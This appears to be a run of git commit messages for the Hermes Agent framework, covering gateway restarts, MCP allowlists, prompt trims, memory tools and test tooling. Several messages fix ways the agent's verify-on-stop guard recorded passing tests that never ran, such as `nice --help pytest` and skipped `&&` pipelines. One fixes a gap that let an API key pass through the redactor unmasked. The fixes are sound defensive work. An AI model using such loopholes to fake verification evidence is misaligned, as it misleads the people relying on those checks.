Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01FQdvgNwwnTYBHUGD2dPwFh
Picks up the bounded command-detection pattern in gate.py and its timing tests, from review.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01FQdvgNwwnTYBHUGD2dPwFh
Pidgeon, a gateway platform plugin: email to an agent's Pidgeon address
starts a Hermes conversation per email thread, and the answer is sent as a
reply in that thread. Pinned to pidgeon-ai/pidgeon-python@aa0036d0,
subdir hermes/pidgeon.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Bounds the unbounded [^.!?\n]*? / .*? / [^.!?\n]+ spans flagged in review;
version bumped to 0.1.1 to match. Also fixes fallback_models -> the real
config key, fallback_providers, in the description.
The forced-install branch copied refresh_launchd_plist_if_needed()s
bootout -> wait for the old pid -> bootstrap-until-registered steps.
Both now call _bootout_drain_and_rebootstrap(), so a future change to the
timeouts, drain wait or retry lands once. Messages, exit codes and each
callers budget lookup are unchanged.
A job names an MCP server by its TOOLSET name (`mcp-<server>`) or by the bare
alias the registry registers for it, but the per-job merge helper compared the
job's list against the BARE server names only. The intersection never matched,
so the "a server is already listed -> allowlist, add nothing" branch was
skipped and the fallback unioned EVERY enabled MCP server into the job's
allowlist: a job that asked for one server ran with all of them.

With three servers enabled (filesystem, github, slack), a job whose
`enabled_toolsets` was `["mcp-filesystem"]` resolved to
`["mcp-filesystem", "filesystem", "github", "slack"]`.

The comparison now accepts both spellings, so the two name the same server and
mean the same allowlist. Unchanged: a list that names no MCP server still
merges every enabled one (an operator's native-toolset allowlist must not
silently strip MCP tools), and the `no_mcp` sentinel still means none.

Refs #141468
Addresses the two findings from the review on #142172.

The allowlist match ran against the ENABLED servers only, so a job that named a
server which is configured but ``enabled: false`` fell through to the union of
every enabled server: an operator who turned a server off for maintenance
silently widened an unattended job's permissions to all the others. The
interactive resolver refuses exactly that fall-through
(``hermes_cli.tools_config._merge_mcp_servers``: "A listed server that is
configured but disabled is still the user's server selection: it stays off, and
it must not fall through to every enabled server"), so the cron helper now
matches against the configured set as well.

The new tests live next to the helper's other cases (in
``tests/cron/test_scheduler.py::TestPerJobToolsetMcpMerge``) instead of in a
file of their own: the three controls they repeated are already covered there.
tests/cron/test_scheduler.py is past the 2,000-line ratchet, so the new
mcp-<server> and disabled-server cases move to their own file (two
invariant tests, both red on main).
fix(gateway): retry forced launchd install after drain
`hermes gateway restart` on Windows is `stop()` + `start()`: Windows has no SIGUSR1, so the
gateway never runs its in-band restart path and `.restart_pending.json` is never written. The
next boot therefore reads a plain stop, `_replay_pending_planned_restart_notification()` is
skipped, and every configured home channel misses the "Gateway online" notice — the same marker
replays correctly when something else writes it (pause-for-update, an in-chat `/restart`).

`gateway/restart_notice.py` owns the marker (name, path, atomic best-effort writer) so the CLI
does not hand-roll the payload, and `hermes_cli.gateway_windows.restart()` stamps it before
`stop()`. The POSIX no-service-manager fallback in `_cmd_restart` still stops without a marker.

Tests: tests/gateway/test_planned_restart_marker_cli.py (2 of 2 red on main).
Live on Windows: after a plain `hermes gateway restart`, the boot pass delivered the notice to
slack/discord/feishu/qqbot (weixin was pending a re-pair, so its marker entry stayed owed).
The marker is best-effort — losing the "Gateway online" notice is acceptable, losing the restart is
not — but `contextlib.suppress(OSError)` only covered the unwritable-home case. Any other raise out
of `atomic_json_write` propagated out of `restart()` before `stop()`, leaving a gateway that was told
to restart still running and the caller with a traceback.

Widened to `except Exception` with a debug log, and pinned both halves: `start()` raising still
leaves the marker for the next boot, and a marker write that raises still lets `stop()`/`start()`
run. Both new tests are red on the previous shape (1 failed each with only the corresponding revert).

Co-authored-by: vanscodex <vanscodex@users.noreply.github.com>
Review follow-up (#141934):

- One writer. `restart_notice.write_planned_restart_marker()` now takes the in-band exit path's
  `via_service` / `detached` values, and `run_shutdown._stop_persist_exit_state` calls it instead of
  building the same payload inline. `gateway/run.py` derives its reader path from
  `restart_notice.planned_restart_marker_path()` (keeping the `_hermes_home` snapshot), so a rename
  on either side breaks the roundtrip test instead of drifting silently.
- The Windows CLI stamps the marker after `_wait_for_gateway_absent()` and before `start()`, not
  before `stop()`. Before `stop()` the still-draining old process can reconnect, replay the notice
  and unlink the marker the new process then never finds; a `start()` that fails still leaves it.
- Tests: 4 -> 2. The roundtrip stays in tests/gateway; the Windows ordering + failed-restart case is
  one test under tests/hermes_cli, next to the code it drives. The two tests that pinned
  implementation details (call ordering, a `RuntimeError("disk full")`) are gone.

Tests: 2 new/rewritten pass on head, both fail when only this commit's production hunks are
reverted. 78 passed / 4 skipped across the restart-marker, restart-notice, planned-restart,
shutdown-flush and shutdown-ownership suites. `scripts/check --only health`: 0 blocking.
The Windows CLI restart was not the only verb that stops a gateway without running the in-band
restart path: `hermes gateway restart --all` stops the host by service call or SIGTERM and then
starts it again, so `.restart_pending.json` was never written and the restarted host's boot pass
found nothing owed — every home channel stayed silent. Same gap as #142515, on every OS.

`host_scope_for_all_verb` gains a sibling, `restart_all_verb_scope`, that also stamps the marker
inside the host home (the scope `gateway.py::_restart_all` already held), so the write happens
before the stop and needs no new line in the ratcheted `hermes_cli/gateway.py`.

Tests: tests/hermes_cli/test_gateway_restart_all_marker.py drives the real `_restart_all` with the
OS calls stubbed; it fails on the base with "the host must be stopped with the notice already owed"
and passes on head. 88 passed / 4 skipped across the host-verb, restart-marker, restart-notice,
planned-restart and shutdown suites. `scripts/check --only health`: 0 blocking.

The POSIX no-service-manager fallback in `_cmd_restart` remains the other known gap and is left
alone here.
Written before the stop, the marker was visible to the still-draining old
host: a platform reconnecting in that window replayed "Gateway online"
and unlinked it, so the new host booted silent. restart_all_verb_scope now
yields the stamp and _restart_all_as_host runs it once the old host has
exited and before the start, the same order the Windows restart uses.

The Windows restart test runs on Windows (platforms marker) instead of
patching out the host check.
A Context7 API key uses a fixed vendor prefix, `ctx7sk-`, and the redactor
had no pattern for it. The generic `sk-` family cannot catch one: the
matcher's lookbehind rejects a prefix preceded by a word char, and here the
`sk-` sits INSIDE `ctx7sk-`. So a Context7 key was masked only when a
secret-looking key name sat next to it - in prose, in command output or in a
JSON array it passed through unmasked.

That leaked a real key: the Context7 MCP setup keeps it in a header, and
`read_file` on that block returned it in cleartext (the `://` in the `url:`
line disables the YAML pass for the whole text, so nothing else caught it
either).

Add `ctx7sk-` to the known vendor prefixes, so the key is masked on every
surface - like the other prefix-matched credentials.
The spawn mock in checkout-source.test.ts stood in for posix.sh taking the
update marker, but wrote line 2 from its own clock
(Math.floor(Date.now() / 1000)). The protocol-1 claim check
(update-marker.ts handoffTakenBy) requires line 2 to equal the
updateStartedAt the Desktop stamped at checkout.ts applyPosixHandoff and
passed as HERMES_UPDATE_STARTED_AT, which the real script echoes
(posix.sh STARTED_AT="${HERMES_UPDATE_STARTED_AT:-$NOW}"). When a loaded
runner crossed a wall-clock second between that stamp and the spawn, the
claim never matched, the 2 s handoffClaimTimeoutMs ran out and apply()
returned { ok: false, error: 'updater-spawn-failed' } (main run
40137931246).

Echo options.env.HERMES_UPDATE_STARTED_AT, as checkout-handoff.test.ts
already does. Product code is unchanged: the real script echoes the env.

Repro: a scratch delay to the next second boundary before
spawnUpdaterProcess in applyPosixHandoff fails the old test 6/6 with CI's
exact result object and passes the fixed one 6/6.
# Conflicts:
#	nix/hermes-agent.nix
extras-extend-package named "langfuse", which left pyproject.toml when
Langfuse moved to the plugin catalog; uv2nix throws on an unknown group,
so the check aborted at eval. The desktop check's "exa" override is now
shipped by `full`, so its effective package equalled the default and it
no longer exercised a customised package. Both use "google-meet", a real
extra outside full's defaultDependencyGroups; the header example drops
"honcho" (also moved to the catalog) for the same group.
Module and .override extras now append to the selected package's
defaultDependencyGroups. Say so in nix-setup.md (en + zh-Hans) and the
option description, point smaller builds at .#minimal or
defaultDependencyGroups = [ ], and replace examples that named groups the
default already ships ("messaging", "voice") or that no longer exist
("honcho").
A file whose tests pass but whose fixtures error at setup ("41 passed,
7 errors") exits 1, yet the Summary read "41 tests passed, 0 failed" and
the file was filed under "all tests passed but pytest exited non-zero".

- accumulate summary["errors"] into tests_errored and print ", N errors"
  on the Summary line when non-zero (same pattern as crashed_note)
- dedicated failure bucket "with pytest ERRORs" listing passed/error
  counts per file; such files no longer land in the passed-but-nonzero
  or no-tests-ran buckets
- tests: parser returns errors for "41 passed, 7 errors"; end-to-end
  probe with a failing fixture asserts the Summary shows "3 errors";
  clean run has no errors note
A test file that raised at import (e.g. a decorator using pytest without
`import pytest`) exited 2 with "collected 0 items / 1 error" and no
failed-test count, so the Summary line read "2 tests passed, 0 failed"
while the run exited 1, and the file was filed under a generic "no tests
ran" bucket. A positional test path that did not exist was dropped by
discovery and the run exited 0 without testing it.

- mark a failing file whose output shows a collection error and give it
  its own failure bucket, "FAILED AT IMPORT/COLLECTION", with pytest's
  one-line cause (the last traceback E line)
- the Summary line names failing files: "; FAILED: 1 of 2 files
  (1 at import/collection)"; error/crash/skip notes move into one helper
- the failure buckets become a cause -> (header, detail) table
- a positional path that does not exist exits 2 with
  "error: no such test path: ..."; --paths defaults keep skipping missing
  roots
- per-file pytest exit 5 (nothing collected, e.g. platform-gated) stays a
  pass, as deliberately added with the run-level NO TESTS RAN guard
Every category header in <available_skills> carried its DESCRIPTION.md
prose, which restates what the skill rows under it already say. The
header keeps the category name only; the DESCRIPTION.md reads that fed
it (snapshot field included) are gone.

Salvaged from #130552; its SKILL_PROMPT_DESC_LIMIT 60 -> 57 change is
not taken (the limit stays 60 and now matches the clip width).
- A category holding one skill renders as a single top-level row
  ("  - computer-use: ...") instead of a header that repeats the name.
- Descriptions over SKILL_PROMPT_DESC_LIMIT (60) are clipped at a word
  boundary, never mid-word; plugin skill rows are clipped too (they were
  not at all). Snapshot v5 so cached mid-word clips are rebuilt.
- skill_manage rejects a description over 60 chars whenever the call
  writes it (create, or an edit/patch that changes it); an unchanged legacy
  description no longer blocks a body edit. The schema text says the limit
  and that a description must not repeat the category name; skills/AGENTS.md,
  hermes-agent-skill-authoring and the curator prompt match.
- test_authoring_standards reads the limit from SKILL_PROMPT_DESC_LIMIT so
  the CI hardline and the index clip cannot drift apart.
- prompt_size and the skills-index turn delta read both row depths.
Greptile "Explicit paths skip the limit": patch(file_path="SKILL.md") and
write_file("SKILL.md") reach the skill's root SKILL.md but skipped the
60-char description check that create/edit/plain patch run. The check now
lives in _guarded_write whenever its target is the root SKILL.md, using the
original it already reads to keep unchanged legacy descriptions editable;
the per-action checks and edit's extra read are gone.
Greptile "Half words still appear": clip_skill_description only treated
" " as a word boundary, so a tab- or NBSP-separated legacy description
fell into the hard cut and showed a half word ("bra..."). Any whitespace
now marks a boundary and is trimmed before the ellipsis.
Maintainer-approved prompt-footprint trims (measured on the Nous endpoint, anthropic/claude-opus-5.5):

All sessions
- The [SKILL_PRUNED] "Skill Safety Rule" (126 tok) left the system prompt: markers only exist after a
  compaction, so the compaction handoff now carries the rule whenever a marker survives in the
  compacted transcript (context_compressor_tail.with_skill_safety_rule, applied in
  _assemble_compressed for LLM and fallback summaries alike). The "## Pruned Skills" block drops
  its own parenthetical, which the rule now covers. `hermes sessions repair-prompts` keyed its
  "full build" detector on the rule's heading; it now keys on SKILLS_GUIDANCE (present in prompts
  built before and after this change).
- The CLI/TUI cron "LOCAL-ONLY" caveat (154 tok) moved from the platform hints into
  cronjob_manage's deliver description (a deferred tool: paid only when loaded).
- The Hermes help pointer no longer restates identity ("You run on Hermes Agent (by Nous
  Research)") after SOUL.md's "You are Hermes Agent, built by Nous Research."; it now opens "For
  help with Hermes Agent itself — ...", which still tells a custom persona what it runs on (22 tok).

One-shot sessions only (-q/--oneshot/-z, and gateway-owned `oneshot` policy sessions)
- No "## Mid-turn user steering" note (253 tok): nobody can steer a one-shot.
- No clarify tool (590 tok): ONESHOT_DISABLED_TOOLSETS is folded into session_disabled_toolsets
  (oneshot=...), so the agent tool build, MCP refresh, the tool_search bridge, delegate children and
  the gateway's session inventory / tool listings all drop it together. skill_manage stays.
- delegate_task without live control (425 tok): action/subagent_id/message and the
  background-delivery paragraph are removed (children are joined inside the call), applied via
  toolsets.agent_tool_surface at load and MCP refresh. The one-shot fact is frozen on the agent at
  its first tool build so refreshes stay byte-stable.

Interactive tool schemas are byte-identical to main.
The prompt trims shrank the CLI system prompt by 531 chars, which moved the
loopback overflow in test_worker_compression_admission / test_journey_compress
_restart_fifo from turn 4 to turn 5. Main fails identically at turn 5 (proved by
shifting the stub's 50,000-char overflow line to 50,300 on an origin/main tree):
with compression.threshold_tokens=12000 on a 64K window the lean tail floor
(10K) kept 11.8K of verbatim tail, so the rebuilt head + summary + tail stayed
over the trigger, the overflow compaction went 9->9 messages and every pre-API
pass refused as "would grow"; the turn died with no post-summary inference.

The lean floor is now min(10K, threshold_tokens * 0.50), the trigger-side twin
of TAIL_MAX_CONTEXT_FRACTION. Default percent triggers never bind it (the
75% small-window floor puts half the trigger above the 20% window cap); only a
configured threshold_tokens or aux ceiling far below the window does.
Greptile "Resume changes saved tool bytes": restore_agent_tool_prefix ran the
one-shot schema variant after merging the same-code pin, so `hermes -z --resume`
of an interactive session rewrote its pinned delegate_task, and the carried-tool
filter dropped its pinned clarify (the one-shot gate counted as config), then
re-pinned the smaller array: a cache miss now and a reordered tools[] on the
next interactive resume.

The variant now shapes FRESH definitions only (load, MCP refresh before the
merge); the post-merge step is back to required drops. The one-shot clarify
gate is a surface fact like a client-surface toolset, so a pinned clarify is
carried (its handler answers "not available" with no callback).
Greptile "Repair clears healthy older prompts": the check accepted only today's
SKILLS_GUIDANCE line, so a healthy prompt stored under an earlier opening line
(it still carries "## Skill Safety Rule") was flagged once its session pinned
skill_manage, and --apply cleared it, forcing a rebuild and a cache miss on the
next resume. Either marker now counts as healthy.
Greptile "History rewrites lose skill guidance": the rule only rode the handoff
built in _assemble_compressed, so two rewrites left [SKILL_PRUNED: markers in
context without the "one reload is enough, ignore older markers" rule:
- prune_tool_results_only turns skill_view results into marker stubs and has no
  handoff: the rule now rides the first row it turned into a marker (once per
  transcript), and _is_summary_stub ignores that suffix so a later prune leaves
  the ruled stub alone;
- anti-growth salvage cut a long handoff to its head, dropping the rule at its
  end: the elision now keeps an attached rule.
Greptile "Disabled `clarify` returns on resume": disabled_toolsets mixes the
caller's configured disables with the automatic session gates, so stripping
every one-shot gate name to carry a pinned clarify also undid a user's explicit
`clarify` disable. The agent now keeps the configured list
(_configured_disabled_toolsets, set at load and on an explicit reload), and only
the one-shot gate's own addition is ignored when judging a carried tool.
Greptile: "Custom extras lack coverage". The extras-extend-package cases
all started from the default package, whose groups now live in
defaultDependencyGroups, so reverting effectivePackage to the old
replacing override still passed every case. Add a custom `package`
built with extraDependencyGroups + extraPythonPackages, set the module's
extras on top, and assert the venv and the package equal one built with
both lists. Eval-only.
Moving the shipped groups to defaultDependencyGroups dropped
extraDependencyGroups from the base callPackage arguments, so an
override (prev: { extraDependencyGroups = prev.extraDependencyGroups ++ [...]; })
that evaluated on main threw 'attribute extraDependencyGroups missing'.
The base package now passes an explicit empty list, and the
extras-extend-package check appends without 'or [ ]' so the shape stays
covered.
SessionAuthority.profile_id is the owning profile's absolute HERMES_HOME
(gateway/run_runtime.py passes str(home)). Five tests in
test_session_mutation_compress_preview.py passed the symbolic id 'owned'.
A committed /compress fires post_compaction under
_async_profile_runtime_scope(Path(authority.profile_id)), so plugin
discovery's load_config() -> ensure_hermes_home() seeded a relative
HERMES_HOME: an untracked owned/ (SOUL.md + empty home dirs) in the
runner's cwd, the repo root. Use tmp_path like tests/cron/test_cron_recovery.py.
test_picker_reads_cached_usage_and_refreshes_without_waiting bounded the first
build_model_options_payload() call at 5 s to prove the picker never waits on
the usage API. That call's own cold work is not the usage API: on a fresh home
list_authenticated_providers() seeds the Copilot pool through a real
`gh auth token` probe and loads catalogs, which took 6.2 s and 18.5 s on loaded
CI runners (runs 40147906961, 40139971387) and 5.2 s of a 5.9 s call locally
at load ~216 (cProfile). The fetcher had already been called in those runs.

Assert the contract directly: the fake usage API answers only after `release`,
so a picker that waited on it cannot return before `answered` is set. The
background-refresh and cache waits become 30 s deadlines (wait_until), which a
passing run never approaches.

Repro: a 6 s sleep injected in build_model_options_payload before _apply_usage
fails the old test 3/3 and passes the new one 3/3. Sabotage: calling
fetch_account_usage() synchronously in _apply_usage still fails the new test
("the picker waited on the usage API").
test_native_fork_binds_child_editor_mcp_in_its_own_scope (and, in the same
run, test_native_schema_drift_refreezes_at_the_next_turn) timed out at the
40 s ACP RPC bound on session/new|session/load in CI (runs 40147906961,
40139971387) while the rest of the file ran at its usual pace, so the runner
was not CPU-starved.

Those are the ACP calls that build the model picker (gateway_session_meta.
model_state -> build_models_payload) in the editor CHILD process, where the
autouse inventory stub in this conftest cannot reach. With a fresh home the
child fetched the Nous catalog manifest (8 s timeout per URL, primary plus
fallback, re-paid on every call after a failure) and models.dev (5 s + 10 s)
from the live internet on the reply path.

The daemon fixture now disables the catalog (model_catalog.enabled) and points
models_dev.url at the loopback model peer, so model_state answers from the
in-repo fallbacks: 22 s -> 1.0 s for a cold call behind a blackholed proxy.

Repro: route the daemon env through a proxy that trickles one byte every 2 s
(a degraded network that never trips a socket timeout). Base fails 2/2 with
CI's TimeoutError at session/new, a faulthandler dump of the editor showing
it inside models_dev._fetch_models_dev_from_network under model_state; fixed
passes 2/2 with zero proxy connections. All 17 tests/acp_adapter files that
use the daemon fixture pass (74 tests).
The browser_exec description picks its text-first header from
_should_use_native_vision_fast_path(), which measures whether screenshots can
ride back inside TOOL RESULTS for the active provider/model. The header then
asserted a model-level fact ("Your model cannot view images") that was never
tested, and a vision-capable model on such a provider (deepseek-flash in the
report; nous/claude on this host) quoted it against itself and skipped an
image the user had attached to the conversation.

Reword the header to state only what was determined: screenshots will not
reach the model through this tool's results, work text-first, and this says
nothing about user-attached images. Same guidance, no capability claim.

Reported and diagnosed by @dcdc4747 in #131568.
The non-native header told every model whose screenshots don't ride back in tool results
"Your model cannot view images ... skip the screenshot-driven workflow described below".
The gate (_should_use_native_vision_fast_path) is a routing fact: decide_image_input_mode is
"text" when auxiliary.vision is pinned explicitly (by design, #16506) or the catalog cannot
attest the model. A vision-capable main model read the line against itself, and no
screenshot section follows the header.

Three honest variants now: attached natively (unchanged), "not attached to this tool's
results; pass the capture_screenshot() path to vision_analyze" when the vision_analyze gate
(check_vision_requirements) has a route, and "no vision route is configured" otherwise.
Lightpanda keeps its own text-first line without the misleading prefix.
Top-level action/content/old_text duplicated the operations[] item fields and new_text was
advertised as an alias in both places. The schema now carries target + operations[] with the
field guidance on the items; the handler still accepts the top-level single-op shape and the
new_text alias (models drift, transcripts replay them).
The pruning only runs on a darwin host; Linux and Windows schemas carried the sentence for
nothing. Gate it on hermes_platform.host.facts.os_family().
'superpowers:writing-plans' named a plugin skill most installs do not have.
Greptile finding "Last fact cannot be removed": with operations[] the only
advertised memory shape, the #103419 empty-store guard rejected the one way
the agent can forget the final USER.md/MEMORY.md entry, and its error pointed
at the unadvertised single remove() shape.

A batch of exactly one remove is now the deliberate single delete (same as
remove()); any larger batch that would empty a non-empty store is still
refused. Unattended background forks never reach it: the #105921 delete gate
stages their removes. The refusal text now names the one-item batch.

The #103419 store test now seeds two entries and removes both in one batch
(assertions unchanged), so it keeps pinning the consolidation case.
Greptile finding "Browser recommends a missing tool": the non-native
browser_exec header picked its vision_analyze pointer from
check_vision_requirements(), which reports whether a vision route exists,
not whether this session exposes the tool, so a session with `vision`
disabled was told to call a tool it does not have (tools/AGENTS.md:
cross-toolset references are added in get_tool_definitions()).

The header now states only the transport fact ("Screenshots are not
attached to this tool's results. Work text-first: ..."), still never
calling the model blind, and model_tools' browser_exec rewriter appends the
vision_analyze pointer when "vision_analyze" is in the session's available
set. The native header (screenshots ride back in the result) never gets it.

Prompt-surface fixtures re-rendered: the stock render has vision_analyze,
so browser_exec gains the pointer (+8 tokens per surface).
Review finding: with operations[] the only advertised memory shape, CLI, gateway,
API-server and TUI progress previews read only the top-level action/content/old_text
and showed `memory ?` / an empty preview for every schema-compliant call. Render the
first op (and "(N more)" for larger batches); the legacy top-level shape renders as before.
Review finding: the legacy single add answered an overflow with current_entries, but
the advertised one-item batch took the #97316 no-echo batch failure, leaving the model
to consolidate against its load-time snapshot. A one-item add batch now returns the
same over-budget response as the legacy add; larger batches keep the no-echo rule.
Review finding: the one-item remove batch may now delete the last entry (matching the
legacy single remove). Pin that an unattended background review sending exactly that
batch is staged by the #105921 delete gate and the entry survives (#103419). Red with
the gate bypassed, green on this branch.
Review finding (stale wording): the drift remediation and the missing-parameter error
still steered the model to the unadvertised top-level memory(action=...) shape. Both now
name operations[] (a single change is a one-item list); the legacy shape still executes.
The [BLOCKED: ...] load-time placeholder keeps its memory(action=remove, ...) hint: two
origin/main tests pin that exact text, and that call still works.
Greptile on 41ed1f061d9 (Forgetting one fact can fail / Duplicate adds inflate space
advice): after a cap is lowered below the store's size, the one-item batch refused a
remove that the legacy remove allows (it has no budget check), and a duplicate add
reached the overflow error with an inflated excess instead of legacy's "already
exists". A one-item batch that does not grow the store skips the final budget check;
every other batch keeps it.
A `hermes chat -q` session resumed interactively keeps its pinned one-shot
delegate_task schema (children "are joined and return in this tool call", no
list/steer/stop) because tools[] must stay byte-stable, but dispatch decided
per admission and detached the children on the finite=False turn. Dispatch now
reads the agent's frozen one-shot pin (agent_is_oneshot) and joins inline.

Follow-up to #144177 (independent review D1).
#144177 capped only the 10K floor at half a configured trigger; the
2.5%-of-window term still kept 25K at 1M, so the tail stayed at 123%/216%/86%
of a 12K/12K/30K trigger on 400K/1M windows and the refusal loop remained.
Clamp the final lean budget instead. Default-config budgets are unchanged on
every window from 16K to 1M (threshold_percent 0.5 already exceeds 5%).

Follow-up to #144177 (independent review D3).
Prune-only rules a skill_view stub row (count-protected tail); a later full
compaction keeps that row in its token-budget tail and appended the rule to the
handoff too. Compaction now moves a kept stub's copy onto the handoff, so the
transcript carries exactly one copy while a marker remains.

Follow-up to #144177 (independent review D4).
At or below _MIN_SUMMARY_TOKENS (2K) the summary alone fills the trigger, so
no tail size leaves room under it; clamping the 2.5%-of-window term there only
drops recency context (a 1K test trigger on a 256K window merged the handoff
into a tail row). Keep #144177's floor-only clamp in that regime. The lean
budget moves to context_compressor_tail.lean_tail_budget.
- The stall-after-progress case asserted the private `_durable_done`
  counter; the request sequence (four retries after the last saved block)
  already proves the budget renews only on saved progress, and is red on
  main through that behaviour rather than a missing attribute.
- Drop the Retry-After=120 mirror case (same class as 290) and the
  Retry-After=7 unit case (main already honours waits under 30 s).

Every kept case fails on main. Sidecar reads in the test pass an explicit
encoding (windows-footguns).
The bash wrapper now reports PIPESTATUS, so a verifier at the head of a
pipeline is scored by its own exit status instead of the last filter's.

Command matching also collapses interpreter paths to their family and skips
the flags that leave ``-m <module>`` intact (-I, -B, -u, -O, -W/-X with their
value, py -3.x), so ``pytest | tail`` and ``.venv/bin/python -u -m pytest``
count as the runs they are. Flags that exit before the module runs stay
unmatched.
Capture $? and PIPESTATUS together inside the eval, restore $? as the
wrapper's exit code, and trust a one-element PIPESTATUS only as side data.
Fixes the exit-code regression for if/while/!, pipefail and syntax errors.

Also initialize _pipe_marker in the two hand-built test fixtures, replace
the source-order assertion with exit-code behaviour tests, and drop the
stale claim that a piped run cannot count as evidence.
Environments built with __new__ (tests, plugin shims) have no per-session
_pipe_marker; a class-level empty default makes the wrapper emit no
PIPESTATUS line for them instead of raising AttributeError. Reverts the
fixture edits that papered over it.
The verify-on-stop nudge appended the pipe advice to every nudge. Now the
ledger remembers (in process, per session and workspace) the latest
detected verify-command run whose own exit status the shell hid, e.g.
`pnpm test || true` or a pipe on a backend without PIPESTATUS, and the
nudge names that run. A later scored run clears it.
`timeout 5m pytest` and `timeout -s KILL 300 pytest` stopped prefix stripping at
the duration or the signal name, so the run never counted.
The capture line is appended inside the command's eval. An unterminated
heredoc read it as body text (written into the user's file or printed),
and a trailing backslash joined onto it, so `echo hi \` printed `hi`
instead of `hi \`. Those commands now run exactly as before; their runs
stay unattributed, as on main. The wrapper test now asserts the exit code
and output the model sees, not only the exit code.
Review finding "Moved edits escape verification": the stop guard dropped
every edited path whose parent directory no longer existed, so an edit
followed by a directory move (src/old -> src/new) left nothing to verify and
the guard returned without a nudge. The same filter broke main's contract
in tests/verify/test_ledger_and_nudge_integration.py (6 tests: an edit
recorded for a path whose directory was never created must still nudge).

The removed-worktree case it targeted is not part of this PR's purpose
(piped verification runs count by their own status; no double nudge), so
the filter goes and the guard is back to main's path handling. The edits
that made main's stop tests create their files are reverted with it.
Review finding "Tests pass without running": the token normalizer dropped
Python's harmless flags (-I -B -u -E -s -S -O -d ...) after every
interpreter. For a detected scripts/run_tests.sh that made
`bash -s scripts/run_tests.sh` match, although `bash -s` reads commands
from stdin and never runs the script, so an exit 0 recorded passing
evidence. The flag skip now applies to the Python family only; any flag
before a shell script keeps the run from matching, as on main.
Review finding "Skipped tests count as passed": the scorer assumed the last
written pipeline was the last one that ran. In
`true | false && pytest -q | tail -5` the first pipeline fails, bash skips
pytest and PIPESTATUS stays [0, 1] from the first pipeline, so its 0 was
recorded as a pytest pass.

A short-circuited && chain always exits non-zero, so behind && the array
now counts only when the shell's own code is 0 (the rule main already
applies to plain && chains). `cd proj && pytest -q | tail` keeps counting;
|| and & were already rejected.
Review finding "Error traps run twice": the PIPESTATUS capture restored the
command's status with `(exit $__hermes_rc)` as the last command inside the
eval. A non-zero restore is itself a failing command, so a user's ERR trap
ran a second time (`trap 'echo T' ERR; false` printed T twice; main prints
it once).

The restore now sits on the left of `&& :`. The list keeps the status, and
bash fires neither ERR nor errexit for a command on the left of &&, so the
eval returns exactly what main's plain eval returns.
Review finding "Warning names an older run": the remembered unscored run
(`pytest || true`) was cleared only by record_terminal_result. After it, a
failed `hermes verify` still left the nudge calling the older command the
"last check run".

The clear moves to _insert_evidence, the boundary both recording paths
share. `hermes verify` usually records from its own process, though, so the
memory also keeps when the run happened and the nudge shows the warning
only when no evidence was recorded after it.
Independent review, extending "Tests pass without running": prefix stripping
skipped every dash-token after timeout/nice/nohup/stdbuf, so
`nice --help pytest -q` and `timeout --help 300 pytest -q` matched the
detected pytest and their exit 0 (help printed, nothing run) recorded a pass.

Each wrapper now has its own list of options that still run the child, with
the ones taking a value; timeout also needs its duration. Any other option
(--help, --version, -h, -V, typos) leaves the wrapper in place, so the run
does not match, as on main.
fix(nix): extraPythonPackages no longer drops the default package's dependency groups
Measured on a real config with an 832-tool Unreal MCP server plus blender (30) and
meshy (28): once the listing collapsed Unreal to its one summary line, every other
server stayed names-only, although their full lines fit the 4,000-token budget.
Step 3 of build_catalog_listing_with_form now retries the uncollapsed servers in
full form before names-only.

Two description fixes in the same block:
- one-tool groups drop their "<label> tools (1):" heading and render as bare lines
  under the catalog header (placed first so they never read as members of the
  group above);
- the connectors sentence no longer cites example apps (Gmail, Linear) the user
  may not have connected. Hosted connector tools are never listed (tool_search
  searches them remotely), so the sentence now says searches also cover the
  user's connected app accounts and how their results are named.

Prompt-surface snapshot regenerated (stock CLI tools: 11,490 -> 11,468 tokens).
`hermes plugins install` only called report_activation (the running gateway's
reload-plugins nudge, the Desktop backend activation, and the restart hint) when
--enable was passed. Answering "y" at "Enable now?" enabled the plugin in config
but nudged nothing and printed no restart hint, so a gateway started before the
install never loaded it: its portable MCP servers stayed absent from every CLI,
Desktop and messaging session that gateway serves (observed live with the meshy
and blender plugins), while fresh processes such as cron workers saw them.
Any enable that committed now activates, flag or prompt.
`hermes plugins install` (answering "y" or `--enable`), `plugins enable` and the
Desktop all ask the running gateway to `reload-plugins`. The forced re-discovery
registered the plugin's portable MCP server configs but connected nothing: the
servers came up only on the next housekeeping reconcile tick, up to 60 s later,
while the CLI had already printed "deferred: MCP servers (next session)". Every
session started in that window came up without the plugin's MCP tools.

Live (own `gateway run --force` in a scratch home, local stdio MCP plugin
installed from a file:// repo in a tmux PTY, "y" at Enable-now, loopback model):
before this change the session started 3 s after "y" had no
`mcp__ypingprobe__yprobe_ping` in its request (it appeared only after the
gateway's reconcile tick at +44 s); with it, that session has the tool in its
tool_search catalog.

The verb now runs the same `reconcile_mcp_servers_with_config()` the
housekeeping chore runs, under the same profile scope, on a thread it waits on
for up to 10 s so a slow server cannot push the answer past the caller's 30 s
socket timeout (it keeps connecting in the background).

Invariant test: tests/gateway/test_reload_plugins_connects_mcp.py drives the
real verb against a real portable plugin dir and stdio MCP server; red on the
parent (tool absent from the registry when the verb answers), green here.
admission_env runs `uv lock`; the other consumers in tests/pm/test_plugin_survival_contract.py
carry the same skipif. Without it the test errors in setup with a TypeError when uv is missing
(seen once in a composite union run).
Its fixture server launches as ./server.py through the shebang and exec bit, which Windows
does not honour (Greptile review on 9f95400).
`hermes tools list` and `hermes doctor` showed `web` as enabled while a
disabled `search` entry removed web_search from it: a toolset stays
"enabled" while any of its tools survive, so a partial strip was
invisible on every inspection surface.

toolsets_partially_stripped() names each enabled toolset that
agent.disabled_toolsets cuts down, the tools removed and the entries
removing them. `hermes tools list` prints it under the row and doctor
warns with the `hermes tools enable <toolset>` fix (which, with the
previous commit, clears the covering entry). Trims the salvaged tests to
two invariants and documents per-tool removal in configuration.md.

Refs #134593
The salvaged coverage check resolved disabled entries with
resolve_toolset, which returns nothing for the legacy names the runtime
still honours (`terminal_tools`, `web_tools`, ...). So
`disabled_toolsets: [terminal_tools]` stripped the terminal tool,
`hermes tools list`/doctor told the user to run `hermes tools enable
terminal`, and that save left the entry in place forever.

_disabled_entry_tools() computes what one entry removes through the
runtime's own _apply_toolset_selection (legacy names, bundle/posture
non-core delta), and both the save-path coverage check and the repair
